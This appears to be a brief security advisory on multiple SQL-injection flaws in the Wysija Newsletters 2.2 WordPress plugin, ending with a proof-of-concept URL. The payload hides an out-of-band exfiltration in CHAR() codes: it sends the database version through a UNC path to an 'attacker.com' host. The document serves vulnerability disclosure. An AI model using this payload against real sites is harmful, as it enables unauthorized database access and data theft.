source: https://www.securityfocus.com/bid/57775/info
The Wysija Newsletters Plugin for WordPress is prone to multiple SQL-injection vulnerabilities.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Wysija Newsletters 2.2 is vulnerable; other versions may also be affected.
http://www.example.com/wp-admin/admin.php?page=wysija_campaigns&orderby=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 )))) --
